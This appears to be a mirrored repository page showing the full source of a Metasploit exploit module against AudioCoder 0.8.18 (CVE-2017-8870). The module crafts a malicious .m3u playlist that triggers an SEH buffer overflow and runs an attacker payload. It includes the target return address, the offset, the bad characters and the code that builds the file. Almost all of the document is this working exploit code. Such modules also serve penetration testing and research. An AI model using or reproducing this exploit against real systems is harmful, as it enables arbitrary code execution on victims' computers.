/
githubmirror
/
metasploit-framework
Обзор
Документация
Войти
/
githubmirror
/
metasploit-framework
Код
Запросы
0
Пакеты
0
Релизы
0
Аналитика
Безопасность
master
modules/exploits/windows/fileformat/audio_coder_m3u.rb
78 строк
2 KB
cgranleese-r7
Update info -d markdown
24 июн 2025, 13:21
24 июн 2025, 13:21
a454217
Код
Авторство
О чём код?
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Seh def initialize(info = {}) super( update_info( info, 'Name' => 'AudioCoder .M3U Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in AudioCoder 0.8.18. The vulnerability occurs when adding an .m3u, allowing arbitrary code execution with the privileges of the user running AudioCoder. This module has been tested successfully on AudioCoder 0.8.18.5353 over Windows XP SP3 and Windows 7 SP1. }, 'License' => MSF_LICENSE, 'Author' => [ 'metacom', # Vulnerability discovery and PoC 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2017-8870' ], [ 'OSVDB', '92939' ], [ 'EDB', '25141' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process' }, 'Platform' => 'win', 'Payload' => { 'Space' => 6596, 'BadChars' => "\x00\x5c\x40\x0d\x0a", 'DisableNops' => true, 'StackAdjustment' => -3500, }, 'Targets' => [ [ 'AudioCoder 0.8.18.5353 / Windows XP SP3 / Windows 7 SP1', { 'Ret' => 0x66011b56, # ppr from libiconv-2.dll 'Offset' => 765 } ] ], 'Privileged' => false, 'DisclosureDate' => '2013-05-01', 'DefaultTarget' => 0, 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS } ) ) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']), ] ) end def exploit buffer = "http://" buffer << rand_text(target['Offset']) buffer << generate_seh_record(target.ret) buffer << payload.encoded file_create(buffer) end end